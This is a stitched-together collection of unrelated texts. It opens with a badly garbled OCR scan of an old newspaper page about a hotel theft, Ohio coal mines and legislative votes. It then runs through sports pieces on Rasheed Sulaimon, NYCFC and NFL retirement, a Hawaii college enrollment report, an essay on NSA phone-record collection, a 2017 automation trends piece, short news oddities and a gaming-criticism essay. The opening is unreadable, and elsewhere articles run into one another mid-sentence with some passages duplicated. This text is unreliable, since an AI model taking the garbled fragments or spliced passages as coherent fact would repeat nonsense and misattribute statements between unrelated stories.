st Berlin have sent to the state da-, wuilam K. mdt. Jr., Is In the rentt " 'TTuTZ T. "7.7, J a... : "ITTrj
dollars in silver on hia person ami 1 t,Ken In Champaigns to the nortlt
a gold watch. Oath the money ant, WMt 0f perthea and north ot Beans-,
the watch were placed upon the bed jelW-
when he retired. All ad disappeared
whan he was found yesterday morn-jQH)o COAL MINES ADOPT
Ing.
Entrance waa effected to the room
through an outside ioor. The screen
door, only, was looked. The Inner
door was closed, with the keys, pre
OPEN SHOP SYSTEM
and Rowers proposed as amendment
R hill ona Pari, r.Nurth tinrnUtUL- BsnB-.stiHCk but for Wllllatfl. Jr.
board ei healtii and providing for the j for one boete In the UgleUturtt. anB, botras. NlBeteeB democrats voted jders. BJaydan. WiilUaVer..WWl,e. In the room ware found vaaiiy epotn
hm lsaavaetiAa af dairies aad their ilnereaeod parceatEe on inltiatir, agalnw the bill. Thar were wuricjc, witherspoon. aji repuoiiawia, pro-ioi diooo. ion iojuj w vl w
proiacts. and an aaattal lamination agd refareadaw ptHlfv ftorchers, Oailaway, Dies, Doaobue, sent, voted agaiaat theh bill.
siata or two ssvers blows. Owe is di-
CLRVELANI), Keb. II. Eastern
Ohio coal operators have dec Wed tn
door was closed, wmi uie Keys, pre-1 tUelr minM HHrtar the aM
aumably. hanging fro nUhb kay-bole,.v., rmtttMs have bean
on the inside. The screen door was
cut la thhe form of q right angle, uie
perpetrator of thhe viae, probably.
tlAAVtia hub" Wni t w instrun
(Oentlaved on Iage 6)
Committees have ban
assigned to arrange the details. V
eaautltttaft was st to tell Saetaigsy
of Labor WTlaou Utat the ogafatacs
have aghsHiied vety aeajM ta raae
n settlement with the strikers.You know, if he wanted to, Carolina wanted him and Duke didn’t object, Rasheed Sulaimon could play for the Tar Heels next season.
And, when you think about it, that would make for a pretty cool story and another chapter in the closest rivalry in college basketball. Sulaimon wouldn’t even have to move from his apartment in Durham! After all, it’s only eight miles over here.
Here is how it would work, if it were to work.
Sulaimon completes his undergraduate classes this summer and earns his degree from Duke. That is a must, according to NCAA rules.
That would trigger an exception to the NCAA transfer rule, that students who have graduated from one institution with remaining eligibility could enter a graduate program at another school and be eligible to play right away (as opposed to sitting out a season like any old transfer).
It would also trigger an exception to the ACC rule that does not allow intra-school transfers – except if it is a graduate from one school entering a graduate program at another school.
The one last hurdle is the “objection” clause. Sulaimon’s old school could object to his playing his last season of eligibility at his new school. You think Mike Krzyzewski would object to Sulaimon playing for Roy Williams?
Besides not having to move, there are other reasons it would be good for both schools, particularly Carolina.
The Tar Heels lost their new shooting small forward to Duke when Brandon Ingram signed with the Blue Devils.
J.P. Tokoto’s starting wing position is still open.
Sulaimon, who made the all-ACC freshman team in 2013, has hit 39 percent of his college three-pointers and would be a pretty good weapon in Carolina’s freelance offense.
Sulaimon knows most of the Tar Heels as well as players and playing styles around the ACC.
Maybe Sulaimon could play on teams that won back-to-back national championships.
As for Duke...
Wouldn’t they be happy to still have Sulaimon around the ‘hood?
He could still be part of the Duke-Carolina rivalry.
No hard feelings for booting him off the team without explanation.
One less vacant apartment in Durham, helping the local economy.
Coach K would feel less guilty about stealing Ingram.
And that little matter of Sulaimon supposedly being accused of sexually assaulting two Duke coeds? He acquitted himself pretty well with his candid story on ESPN.com last week, don’t you think?
And, of course, there is the issue of who calls who first.
Think that one’s on you, ‘Sheed. Pick up the phone and call Ol’ Roy. See what he thinks.
Then Williams can call Coach K and see what he thinks.
Too bad Coach Smith isn’t around to broker the deal.Connor Brandt, who was selected as New York City FC’s second pick of the 2015 MLS SuperDraft, has signed a contract with the Club and joins the roster for their inaugural season.
Brandt has been with the Club throughout preseason in Jacksonville, Fla., Manchester, England, and Charleston, S.C.
While Brandt spent the majority of his playing career at the University of San Diego as a midfielder, he impressed at left back at the MLS Combine in Florida and is currently transitioning to the position with New York City FC.
In an interview with NYCFC.com, Brandt, the 2014 West Coast Conference Player of the Year, had the following in reaction to training camp, his transition to left back and to his signing:
“It’s been a good transition for me,” he said. “I had a few spells at left back my junior year at USD, so I’m familiar with the position. I like it because of the way we like to play. We attack out of the back, so not only am I playing a defensive role, I’m still getting to attack and get up the flank like I normally would in college.”
“I had a meeting with the team when I was there in Florida. They made me feel I was very welcome before I was even drafted. I left the room thinking, ‘I’d love to play for Jason and Claudio.’ They’re pushing me to be a better player and better person off the field as well.”
While Brandt is adjusting to a new position, his playing philosophy already fits into Kreis’ possession-based style. Speaking to NYCFC.com about the signing, Kreis said:
“Connor has worked hard to make an impression throughout our training camp. He adjusted well to our system and has shown that he has the ability to help our team today, and has the potential to develop into an even more important player in the future.”With all the natural amenities of island life, you might think that Hawaii would attract a higher percentage of out-of-state college students than most other places.
But that’s not necessarily the case.
About 29 percent of students at the University of Hawaii’s flagship Manoa campus are nonresidents (including those from other countries), lower than many other universities, according to CollegeXpress.
University policy allows up to 35 percent of its total students at UH Manoa, West Oahu and Hilo to be nonresidents.
Some legislators think the university should do more to recruit out-of-staters, considering that before financial aid they pay nearly $33,000 per year on tuition — $22,000 more than residents who pay about $11,000 a year.
Cory Lum/Civil Beat
Some programs rely on out-of-state tuition for their financial survival, said Rep. Isaac Choy, pointing to UH Hilo’s College of Pharmacy. The program would need about 80 percent nonresident tuition to be self-sustaining, he said, but about 40 percent of students enrolled are nonresidents.
“Exporting education is something that should be looked into as an economic driver for the state,” Choy said.
One in five students attending the Manoa campus last semester was from the mainland, according to enrollment statistics.
Sen. Kai Kahele, chair of the Higher Education Committee, would like to see more out-of-state students enroll at UH to increase ethnic diversity on campus and provide more opportunities to make connections with people from elsewhere.
Kahele said enrollment has declined at all campuses except UH West Oahu. Enrollment fluctuates with the economy, he said, but it could be worthwhile to re-evaluate UH’s marketing budget.
“The economic impact goes far beyond a student coming to Hawaii to get a degree,” he said, noting that families of students who come to visit their kids and graduates may return.
Convincing Students To Make The Long Haul
UH relies on high school visits, college fairs and transfer fairs to attract students from the mainland, said university spokesman Dan Meisenzahl. Admissions employees are especially active in California, Washington, Colorado, Arizona and Washington, D.C., he said.
Of mainland students enrolled at UH Manoa in fall 2016, 56 percent were from the Western U.S., data shows.
Profit from higher tuition rates is a consideration in UH’s efforts to recruit out-of-state students, but the priority is to make UH campuses more diverse, Meisenzahl said.
Source: UH Institutional Research & Analysis Office
UH is well-known elsewhere for its marine biology, oceanography and astronomy programs, he said, and wants to attract top students for those disciplines. Though UH is isolated in the middle of the Pacific, Meisenzahl said it appeals to those who are interested in “east meeting west,” and studying certain ethnic groups.
“We need international students, we need students from the continental United States, we need students from different backgrounds so while they’re interacting with their fellow students and faculty, they’re sharing these experiences,” he said. “And even though you’re here in Hawaii, you’re still getting an international type of experience and worldview.”
Nearly three-fifths of UH students from the mainland attend the Manoa campus. Mainland students make up 21 percent of UH Manoa’s student body, but comprise 46 percent of dorm residents.
To help all new students adjust, Meisenzahl said the campus’s Student Housing Services hosts welcome week events and orientations. Student Housing hosts late night events two or three times per month, and cultural and diversity awareness events are also held, he said.
Meisenzahl wrote in an email that UH Manoa admission requirements are the same for freshman residents and nonresidents, but nonresident transfers must have a 2.5 GPA — higher than the 2.0 required of transferring residents.
Overall, more than a quarter of graduate students and 10 percent of undergraduate students across UH’s 10 campuses are from the mainland, enrollment data shows.
As of fall 2016, 11 percent of all UH students came from out-of-state (5,075 students) and 5 percent (2,154 students) were from a foreign country, the data shows.
Source: UH Institutional Research & Analysis Office, BYU-Hawaii, Hawaii Pacific University, Chaminade University Office of Institutional Research
How Much Do Out-Of-State Students Spend?
If financial aid and scholarships are not considered, the average full-time, nonresident student at UH Manoa spends about $48,000 per year on tuition, books, room and board, and other expenses (depending on a student’s major), according to Meisenzahl.
The Department of Business, Economic Development and Tourism hasn’t studied the economic impact of out-of-state students since a November 1998 report, said Eugene Tian, chief state economist. That study found out-of-state students spent $140 million on education-related expenses like tuition and room and board in 1997 — up $33 million from five years earlier.
Nonresident tuition at UH Manoa is now three and a half times higher than it was at the time of the original survey.
DBEDT does, however, market to international students and measures their economic impact annually. A 2016 report found 12,194 international students in Hawaii spent $301.9 million on their education.
Dennis Ling, administrator of DBEDT’s Business Development and Support Division, said tracking the economic impact of students from the mainland should be the school’s responsibility, not the state’s, since DBEDT doesn’t market UH to mainland students.
DBEDT initiated its international student marketing campaign by reaching out to schools, Ling said, and convening a discussion group.
The “international (education) front is new but has strong potential,” he said, adding that schools already have successful strategies for attracting mainland students.
Even if DBEDT were to track the economic impact of out-of-state students, Ling said there could be some unique challenges. For one, international students don’t have access to U.S. scholarships and financial aid — just financial aid from their home country — so it could be harder for schools to gauge exactly how much out-of-state students pay in tuition.
Ling added that students who live in Hawaii for a year are eligible to declare residency and pay in-state tuition rates (if they go to school part-time for a year), so any surveys would also have to account for changes in residency.
Other Island Schools Also Diversify
UH campuses bring the state’s largest share of mainland students, but other Hawaii universities also draw students from the mainland, sometimes at higher percentages.
At Hawaii Pacific University, 30 percent of fall 2016 students were from the mainland, according to enrollment data. According to Chaminade University’s website, 22 percent of fall 2016 students were out-of-state. BYU-Hawaii statistics from February 2016 show half of students were from the mainland.
Greg Grauman, HPU vice president of enrollment management, said HPU employs three mainland recruiters who meet students for regional interviews and visit high schools and college fairs.
Students from 65 countries and all states are enrolled at HPU, he said.
It’s important for mainland students and university staff to get to know each other during recruitment, since students are considering a long-distance move, Grauman said.
“I think certainly we know that here on-island we have a lot of diversity, but we think it’s important we have students from all 50 states,” he said, adding that class discussions are enriched from “diversity of thought.”It's WrestleMania week, the most exciting week of the year for wrestling fans. Even though the buildup has been subpar this year, I have a feeling the show will deliver.
Speaking of WrestleMania, one of the women, ahem, divas competing this Sunday is goth-inspired sensation Paige. She is competing with her fellow "anti-Diva" AJ Lee to take on the Bella Twins, WWE's version of the high school head cheerleaders (coincidentally they are each dating the equivalent of the quarterback of the company).
What stands out about Paige is she is a rocker at heart and in an recent interview with Metal Hammer, she revealed her mom is an even bigger metalhead:
Weird story, but my real name (Soraya) is actually named after the band Slayer ha ha! My mum's a total rockhead – she's got a Motörhead tattoo, loads of piercings – she's a badass. When I was growing up she'd listen to Bon Jovi and Aerosmith and stuff like that. I blame her.
I'm assuming Soraya is a combination of "Slayer" and frontman "Tom Araya," right? Kudos to Paige for having such a cool mom.
Related PostsFilled with a renewed love for the wonderful creatures of the world and the burning desire to learn all that can be learned of magic, Scorpan returned home to distant Icaria as an outcast and found his fallen brother's minions rampaging across the land. Having failed in their ambitions to steal Equestrian magic, they set their eyes on Ainia: the domain of Amok Gale-sower, king and guardian of the woodland animals.
Scorpan would find no better teacher to slake his new-found thirst for the magical arts - Amok was himself a disciple of the Crystal Queen and a master wizard - and so he made Ainia his new home, swearing to defend her peace-loving inhabitants from those who he once called his ilk. Henceforth storm and wind stands as a bulwark against the enemies of Ainia, scattering vast invading hordes like dry chaff.
----
I absolutely love how these two turned out! I had to decide between giving Scorpan a cartoony or more realistic design and I'm glad I did the latter. Also I gave him goat hooves instead of monkey feet. This was a lot of fun to ink
Amok is a bit bigger than standard FiM jackalopes (1.5x - 2x height?)The NSA's Bulk Collection Of Phone Records Ended Saturday. Long Live The Bulk Collection Of Phone Records!
from the a-dragnet-among-dragnets dept
The NSA's frontmouth, the Office of the Director of National Intelligence, is burying news again. Not that it could help it. Normally, the ODNI likes to do its document dumps (most often consisting of documents ordered out of its hands by federal judges presiding over FOIA lawsuits) on Friday afternoons or shortly before a holiday to buy itself some response time before dealing with journalists and Congressional committees.
In this case, it delivered its latest news on Black Friday, while most of America was either out shopping or covering the story of Americans shopping for the local newsjobber. The timing would be suspect if it weren't for the fact that the NSA's bulk phone metadata program ended (at least in this form) at 11:59 PM Saturday night.
On June 2, 2015, Congress passed and the President signed the USA FREEDOM Act of 2015. The Act reauthorized several important national security authorities; banned bulk collection under Section 215 of the USA PATRIOT Act, under the pen register and trap and trace provisions found in Title IV of Foreign Intelligence Surveillance Act (FISA), or pursuant to National Security Letters; adopted the new legal mechanism proposed by the President regarding the targeted production of telephony metadata; made significant modifications to proceedings before the FISC; and built on the U.S. Government’s unprecedented transparency about intelligence activities. With respect to the new mechanism for the targeted production of telephony metadata, to allow sufficient time to implement a new system while at the same time avoiding any lapse in a national security program, the USA FREEDOM Act provided for a 180-day transition period during which the existing NSA bulk telephony metadata program may continue.
[T]he overall volume of call detail records subject to query pursuant to court order is greater under USA FREEDOM Act.
Just a tiny corner of the phone dragnet will shut down, and the government will continue to collect “telephony metadata records in bulk … including records of both U.S. and non-U.S. persons” under EO 12333. Hypothetically, for every single international call that had been picked up under the Section 215 dragnet and more (at a minimum, because NSA collects phone records overseas with location information), a matching record has been and will continue to be collected overseas, under EO 12333.
They’re still collecting your phone records in bulk, not to mention collecting a great deal of your Internet records in bulk as well.
The six months are up and so is the NSA's Section 215 collection. While this means phone records will be held where they've always been held (phone companies) and the NSA must now approach providers with FISA court orders, this does not mean the NSA will no longer be collecting phone records in bulk. It just means it won't be doing this under those particular authorities (Section 215, PR/TT provisions, NSLs). It still has plenty of options.For one, it appears to have access to more records than it used to under Section 215. From the fact sheet:This could mean the new method (approaching phone companies directly) may give the NSA access to records it couldn't obtain under Section 215, like additional cell phone records or other communications methods like VOIP. In other words, the requests will be more targeted but capable of obtaining a greater variety of records responsive to the court-approved identifiers.As I've said before, I suspect the NSA was willing to let Section 215 provide bus traction for the administration's minimal surveillance reform efforts. As long as everyone kept worrying about the bulk phone metadata (subject of multiple lawsuits that are now basically moot as far as the courts are concerned), the NSA would be able to keep its multiple other, more intrusive programs intact. As Marcy Wheeler notes, this program may be dead, but it doesn't mark the end of the NSA's bulk phone records collection The DNI himself, James Clapper, threw his weight behind reforming this high-profile but ultimately minimal part of the NSA's dragnet. That should have been indication enough that killing off the Section 215 program wouldn't severely limit the NSA's surveillance options, despite the occasional bit of FUD directed at legislators (or parroted by them).
Filed Under: bulk collection, eo 12333, mass surveillance, metadata, nsa, phone records, section 215Why 2017 will be the year of automation
‘Humans are now too slow and too costly to handle many routine interactions’
The dynamics of digitisation and virtualisation are joining with the growing maturity of the IoT and big data analytics to usher in a new era of super-connected business and leisure
The sheer volume of information being gathered across networks, coupled with the continuing evolution of the networks themselves as NFV, SDN and 5G technologies come into play, has created the need for radically increased automation.
Humans are now too slow and too costly to handle many routine interactions, and millennials and the generation below don’t like communicating with call centre staff anyway.
However, customers still want to feel they’re being cared for by the companies they buy services from. In 2017, four trends will come to fruition and lead the way to successful yet increasingly automated customer interactions.
>See also: Automation: a new frontier of the human-machine partnership
1. Machine learning and artificial intelligence
For organisations looking to provide rich experiences to their customers while still maintaining profitability, automation is the only answer.
However, many of the negatively viewed impersonalities of automated solutions can be concealed by the effective utilisation of machine learning and artificial intelligence.
For example, if machine learning is deployed, a system can learn that certain patterns of behaviour suggest what will happen next. For mobile operators, that might be a signal of impending fraud or a customer complaint.
Machine learning enables the system to understand that an interaction is needed to avoid the next step and artificial intelligence can be applied to determine the right response given the previously learnt preferences of the customer.
This will be important in 2017 because companies are already making investments. Analyst firm ABI Research has projected that mobile operators alone will spend more than $50 billion on big data and machine learning analytics between now and 2021, with the greatest growth coming in predictive analytics.
The firm has pointed out that machine learning excels at spotting anomalies and therefore it expects the market for predictive analytics based on machine learning to grow at almost 50% CAGR to reach $12 billion in five years.
2. Personalisation
There’s an increasing expectation that although we’re only one of hundreds of thousands or millions of customers, we expect to be treated by our service providers as an individual.
It’s no longer good enough to be handled by crude demographic segmentation that lumps everyone of the same age group or geographic location together.
The expectation is for hyper-personalised interactions from providers that take into account previous purchasing activity, likely interest in specific offers, how the customer prefers to be communicated with, and what channels they find appealing.
In today’s multi-channel world, the challenge for organisations is to communicate across all these channels in a consistent way, according to their customers’ preferences.
2017 will see a growing maturity in the personalisation activities of businesses as they draw on past experiences, not all of which were positive, and new technologies to segment their marketing and customer communications down to a market of one.
The personalisation game has moved on – customers no longer accept being a number. They want to be addressed in the manner they have chosen and to have offers made to them that are attractive to them alone.
3. Design-led CX
The customer experience (CX) has been led and controlled by systems and processes but, as increased personalisation becomes a customer preference, the limitations of customer communications are being ever more highlighted.
It’s counter-productive to invest in artificial intelligence, omnichannel consistency, big data analytics and machine learning if the customer is still approached by communications in an unattractive format.
Design-led communications enable companies to converse with customers, giving the impression they know and care about them and understand what each customer likes to see.
Design-led CX means an experience that is attractive to a customer and can encourage them to reveal further preferences, thereby adding depth to the existing relationship.
This can then be added to by sending the most relevant content for them to them, framed in the right tone of voice based on their signalled emotions.
Design-led CX will become mainstream in 2017 because design is a major area of customer experience that has been neglected. Good design adds so much value to the customer’s experience and is relatively straightforward to rollout business-wide.
4. Chat bots and natural language
There’s now a need for companies to offer natural language understanding and build it into the omnichannel experience that they provide for their customer.
Natural language understanding allows users to ask questions in normal, everyday language and get the responses that they are looking for.
However, it is difficult to achieve effectively. It requires domain-specific algorithms, which can understand what the customer is looking for in a complex service provider multi-product, multi-device, multi-offering catalogue.
>See also: The rise of intelligent automation in the workplace
The natural language understanding algorithms look considerably different for a customer ordering an Uber taxi or a pizza with all the trimmings, which are both simple interactions, from that where a customer wants a new mobile device with a specific service plan that will provide the right amount of data that they need at the right price.
During 2017, natural language understanding will play a more prominent role in consumer services. Smart TVs and streaming services, as well as IoT and smart homes, will see the beginning of this change |
an employee. You can only do so much.”
Davis never imagined life after football, even though he had seen the revolving door of players during his stops with Cleveland, Denver and Buffalo and how one hit, one play, can often end a career.
Drafted by the Browns in the fifth round in 2002, Davis suffered a torn labrum in his first game as a Bill, in 2010, and that was the beginning of the end.
“I go back and look at film in the latter part of my career and I’m like, ‘Man, I wouldn’t pick me up,’ ” he said. “I’m a realist.”
He slogged through two more seasons, playing his final game Jan. 1, 2012. And when that game ended, so did the calls from teammates.
“I think that’s the hardest part for guys, is how sudden it is,” Kuper said. “Besides the league kind of being done with you, the team being done with you, your friends that you saw every day in the locker room — they’ve got a job to do and you’re just kind of sitting around.”
Physical and psychological
Not everything comes to a halt when the final whistle blows. Implicit in retirement is continued pain.
Kuper never fully recovered from an ankle injury he twice had surgically repaired. When he left the game, weight melted off, putting less pressure on his joints.
Scaife’s injuries are still felt.
“Your body gets worse over time,” he said. “But I wouldn’t trade playing for that.”
Headaches still are frequent for Davis. The constant neck pain? Arthritis. Won’t go away, his doctors told him. The shoulder tear that ended his career still gives him problems. He recently underwent surgery on his right big toe. His left hip has been repaired. And last month, he had surgery to repair his right hip.
The pain coupled with the loneliness led to a depression so deep that Davis almost ended it all.
“I’ve had a pistol in my hand,” he said. “It wasn’t because of finances. It wasn’t because I didn’t have anyone there to love and support me. I didn’t know what was going on. I had headaches, my body hurt. I felt like nobody cared about me. I was like, ‘Man, I don’t really care if I’m here or not.’ “
It wasn’t until late 2012, when he saw his wife break down during a visit with a psychiatrist, that he came to grips with the severity of his depression. The two later went on a fast for Lent that provided Andra structure and renewed faith, and helped lift the dark cloud that had enveloped him.
Finances and planning
For the first three years of his career, Davis was broke. He entered the league more than $100,000 in debt after burning through his signing bonus. He bought the Louis Vuitton luggage and the brand new Lincoln Navigator, all with the belief that he would pay it off with his next check.
“I didn’t realize that you got paid only 17 weeks,” he said. “Nobody told us that. Never told us about taxes in every city.”
Davis played it smarter when the paychecks got bigger. When he received a five-year contract extension with the Browns in 2005, his financial adviser urged him to put $100,000 a year for five years into a life insurance policy, a drop in the bucket that would ultimately save him in retirement.
“I used to hate writing that check, but once I retired, we decided to cash the life insurance policy, take the money out, pay off everything we owed and get a smaller life insurance policy,” Davis said. “Decisions like that allowed us to not have the extra pressure. If I can get that across to anybody in the league — when you’re done, eliminate all the pressures because life is hard enough as it is.”
Many players lack basic financial skills necessary to manage a six figure-plus paychecks.
The Broncos hold regular meetings — some individual, some teamwide — about planning for a career after football. The players union has representatives visit teams five to seven times a year to inform players of available programs. But often the most basic things are overlooked. And the focus for active players is and may always be football.
“I think some of the stuff needs to be mandatory as far as basics of finance, whether it’s filing your taxes, putting together a résumé — that’s an important thing,” Kuper said.
When players retire, they aren’t handed a road map to help navigate the myriad resources available to them. The NFLPA’s Players Trust was established in 2013 to provide educational, career, medical and networking resources to retired players. But there are multiple other organizations — with the league, with the union and independent of both — like it, many of which players are unaware exist.
Davis, who went back to school in retirement to receive his MBA, relied on the advice of former players to find his way. The shared lessons also helped to rebuild a social network that was torn down in retirement.
“Being able to speak to other guys about the transition and what they’re doing, it was so therapeutic for me,” said Scaife, who also received his MBA after retiring and has since launched a leadership and apparel company, Fresh Ed. Life.
Starting anew
Before the start of training camp this past summer, Davis boxed up the football memorabilia sprinkled around his home office. The framed jerseys signed by fellow players were hung in the basement, not far from the trophies and commemorative footballs arranged on a bookcase.
“I come down here and look around and think about where I came from, the small town, and to see all the people,” Davis said. “It’s the journey. Everyone has the same journey, but different paths.”
The journey to retirement is rarely smooth. Davis left the game in a better position than most: financially stable, and with a family that rode the roller coaster of the NFL with him, even when it stopped.
Kuper did too, recently welcoming his third child and working as a managing partner with Black Lab Sports, a startup in Boulder that invests in sports technology.Kuper also coaches at Columbine High School and is a part-investor in a D1 Sports training facility in Highlands Ranch.
“I miss playing all the time,” Kuper said. “There’s nothing that can replace that feeling before the game or when you’re jogging out for the first play.”
Davis often speaks at local schools as part of All Roads Open, his faith-based organization that provides educational and mentorship programs to students and families. He is grateful he got to fulfill his dream of playing in the NFL.
“I’d do it all over again, knowing the exact same thing,” he said.
But every summer, when camps open and the Broncos take the field not far from his home, he is reminded of what was. And how his life changed when the cheers quieted.
“As long as you play, there’s going to come a day when you’re not their guy, you’ll get older, you’ll lose a step,” he said. “Adjusting to that and life after football are two of the hardest things about football.”
Nicki Jhabvala: njhabvala@denverpost.com or @NickiJhabvala
Help in NFL retirement
Some of the many organizations and programs available to players in retirement to help them transition to life without football:
Established by the Professional Athletes Association in 1992 to provide emergency financial assistance to retired players and help them finish their undergraduate degrees.
The Players Trust
Created in 2013 with funding set aside during 2011 collective bargaining talks. Offers medical, educational, career, lifestyle and social resources to players with two or more credited seasons.
Provides medical and financial assistance to members with Alzheimer’s and ALS.
Independent organization established in 2007 to provide financial, medical, emotional and social assistance.
A nonprofit organization that provides financial grants and medical help to former players.
Offers counseling and second-career training to active and retired players.
A nonprofit comprised of former players, coaches and other employees that provides medical, financial and community involvement programs to paying members.
Conventions held regularly across the country for networking and personal development.Image copyright West Midlands Police Image caption West Midlands Police said the lambs identity was "protected due to their age and vulnerability"
Social media sites have been rammed with confusion after police released blurred images of victims of crime - who happened to be sheep.
The lambs' identity was "protected due to their age and vulnerability", West Midlands Police said.
The woolly passengers were spotted after they were herded into the back of a car and driven around by suspected rustlers.
But the subsequent image circulated by the force turned out to be a joke.
Nic Barlow commented on Facebook: "I wondered why the picture looked a bit woolly."
Abbas Zen said: "It would be an animal rights issue if they didn't [blur the images]."
Image copyright West Midlands Police Image caption The Ford Galaxy carrying three sheep was crashed into a parked car
Other people were less amused by the force's sense of fun.
"Police show criminal sense of humour as they release pictures of stolen sheep with pixelated faces," tweeted Solene Deplanche.
Officers said three suspected sheep rustlers found in the car near Hob Moor Road, Yardley in Birmingham were rounded up in nearby gardens - with one up a tree and another penned in a conservatory.
The men aged 22, 27, and 28, were arrested on suspicion of theft, while police traced owners of the sheep.
Jokes aside, officers said the lambs were unhurt and have been temporarily re-homed on a farm in Sheldon.
Analysis: A sheepish decision?
By Dominic Casciani, BBC News home affairs correspondent
British police have guidelines over what information they reveal about victims of crime - but was there a bit of woolly thinking in the West Midlands force after journalists were given an image obscuring the faces of allegedly-rustled lambs?
The Data Protection Act and Article 8 of the Human Rights Act, which covers family and private life, require the police to protect personal information unless there is a good reason to release it.
My mint sources tell me that an officer in the case blurred the image as a joke.
He presumably concluded he had an obligation under the Ewe-ropean Convention on Eweman Rights to hide the poor little lambs' faces.Perhaps it is the existential futility of it all, perhaps it is the steady building up of repressed fury caused by network errors and lag at the worst possible times, or perhaps it is just that we are served by an industry that delights in treating us like lab rats one week and marks for a long con the next. Whatever it is, videogame fans can often be very sensitive people. Not sensitive in the sense of being aware of the emotions and needs of others but sensitive like a landmine that’s been designed to kill ants.
This is not a trait unique to gamers of course. We live in an age where any opinion or criticism expressed within a public forum might end up provoking outrage from somewhere. From the political left you can expect an earful if you make a poorly judged joke about women and from the political right you’ll be savaged if you make a complaint about a poorly judged joke about women. The world of social media feels like a mass of belligerent porcupines, each poised to jab a load of quills into anybody they feel is attacking them.
The culture of games lends itself powerfully to this dysfunction. Games are considered to exist in competition with each other in a way that no other creative works are expected to be. They are scored, ranked, numbered and aggressively compared to each other. Even the platforms people play their games on are the subject of perpetual rivalry. They also ask a lot of their players, both in terms of money and time. Players are encouraged to feel like they are part of a community, that they have a personal stake in how a game is perceived.
In this context, taking criticism of your favourite thing as a personal insult isn’t as huge a mental leap as it might at first seem. Rather all it takes is a series of small leaps.
A person might read an article that says that a game they like has problems, let’s say for the sake of this example that it a critic has said it is sexist.
The first leap is that the reader interprets this as the critic saying that the game is bad. Not bad in the sense of being poorly made, but in the sense of being morally wrong, a corrupting influence in the world.
Having once made that leap, the reader can easily extrapolate this into being a personal criticism. The logical progression is that if they enjoy a thing that a critic thinks is sexist, then the critic must be saying that they are sexist too.
It is not difficult to imagine how fans end up seeing criticism as an insult. If a critic points out that a game has ugly graphics or that a story makes no sense, those are criticisms of the quality of a game but they do not invite a moral judgement. If somebody says a game is racist or sexist that carries more weight because we live in a society that is trying to eradicate those kinds of prejudices*. As a result some people are more comfortable simply denying or arguing against this kind of criticism rather than accepting that something they like might not be pure as the driven snow. Such discussions seldom end well.
There is also a sense that criticism on issues like racism and sexism carries a threat to the subject itself; that critics want to purge these elements from the culture. Now the dirty little secret here is many do want that, and why wouldn’t they? There is no artistic value inherent to sexism, racism, or any other form of prejudice.
But that doesn’t make criticism a destructive act. Nobody gets into criticism because they think their chosen subject is perfect, but that doesn’t mean banning things that don’t measure up. The same free expression that says a game can include unpalatable elements also covers the right of critics to pour scorn upon them. Freedom of expression also enshrines the right to point out that the critics might be wrong. Though perhaps most importantly of all it gives us all the right to ignore everybody else if we don’t care to hear from them.
Angry reactions to criticism aren’t always provoked by issues as incendiary as racism or sexism. A critic can incite strong reactions simply by saying that something is bad. When a critic lays into somebody’s favourite game for simply being a terrible game the inference that a fan can take from this is that they have no taste, that they are predictable and easily amused. People find this so insulting they are often compelled to rage against it, even when the criticism is Angry reactions to criticism aren’t always provoked by issues as incendiary as racism or sexism. A critic can incite strong reactions simply by saying that something is bad. When a critic lays into somebody’s favourite game for simply being a terrible game the inference that a fan can take from this is that they have no taste, that they are predictable and easily amused. People find this so insulting they are often compelled to rage against it, even when the criticism is overtly being played for laughs
Criticism is of course not inherently noble or free from bias and malice. Criticism of culture can be a stick to beat people with, deriding them by proxy for how they choose to spend their time. It can be a vector for prejudice of all kinds, particularly if the subject of criticism is popular with a particular demographic outside of the writers own.
Ultimately though, as objectionable as criticism of the things we love can feel at times, the most important thing to remember is that it isn’t about us. It is just another person’s opinion about something somebody else made. Worrying if the ways we spend our time meet with universal approval is a very efficient way to suck the fun out of everything. Whether it’s a videogame, a TV show, a book or whatever, the things we like should be happy places for us, redoubts against the world, and it absolutely doesn’t matter what anybody else thinks about them.
*Yes I know that is an oversimplification and open for debate in itself, but the generally accepted principle is that they are bad things.Yogesh Master, an apparently prolific Indian author, has been arrested for what amounts to a blasphemy charge. In his new novel Dhundi, which is written in the Kannada language, the Hindu god Lord Ganesha is subject to “derogatory references” and is portrayed “in a highly objectionable manner,” according to complaints.
I’ve not been able to unearth any actual text, English or otherwise, of the novel in question, but according to Daijiworld Media Network, the complaints are that Ganesha is portrayed as “cruel” and “rowdy,” having an “illicit relationship”:
Several people have alleged that the author has changed the relationship of Shiva-Parvati and Ganesha from the original story as per his imagination. People with deep-rooted religious belief have objected to having dragged the story of Ganesha to state theoretical confrontation between Shudra and Aryas.
I’m certainly no expert on the Hindu faith, so I can’t weigh with any certainty the gravity of this alleged offense, but it sure sounds like a minor thing to arrest someone for. It is a novel, after all. But I certainly recall protests and boycotts and all manner of anger over things like Jesus having a sexual relationship in The Last Temptation of Christ, or association with homosexuality in Terrence McNally’s play Corpus Cristi. No one was arrested for making these, of course, but such sentiments from religious traditionalists are all of a piece.
Additional Commissioner of Police (Law and Order) Kamal Pant said the case has been registered under Section 295 A (Deliberate and malicious acts, intended to outrage religious feelings or any class by insulting its religion or religious beliefs) and Section 298 (Uttering words, etc with deliberate intent to wound religious feeling) of the [Indian Penal Code].
These are the actual charges against Master, from the Express News Service
Note that these charges focus on “deliberate” insult and hurting of feelings, which it seems to me (and the merits of the laws aside), would be difficult to prove. Somehow, I don’t think that will hold anyone back.
Here’s a video report of the story from an Indian television network, where you can see Master being arrested and hustled into a police vehicle.Image caption The man wanted to surprise his partner, reports said
Police in Australia have rescued a naked man who got stuck inside a washing machine while playing a game of hide-and-seek.
The man reportedly hid inside the top-loading machine so he could surprise his partner.
But he became stuck and it took 20 minutes for rescuers to dislodge him using olive oil as a lubricant.
Firefighters, paramedics and a search-and-rescue squad were also called to help with the situation.
The incident took place on Saturday in Mooroopna town, north of Melbourne, in Victoria state.
Few details were revealed about the man, with some reports saying he was 20 years old.
Sergeant Michelle De Araugo said "it was just a game gone wrong", according to Agence-France Presse news agency.
"It would be fair to say the gentleman was very embarrassed."
Another officer cautioned against misusing household equipment.
"My advice would be for people not to climb into appliances - obviously that [can] cause a number of issues, as we've seen on the weekend," the Australian Broadcasting Corporation quoted First Constable Luke Ingram as saying.Around 200 NATO soldiers, mainly Italians, have been deployed to Afghanistan's volatile western province of Farah, officials confirmed, after attempts by Taliban fighters in recent months to overrun its capital city.
The announcement on Sunday came two days after the Pentagon said it would deploy some 300 U.S Marines to the southern province of Helmand, where American forces engaged in heated combat until their mission ended in 2014.
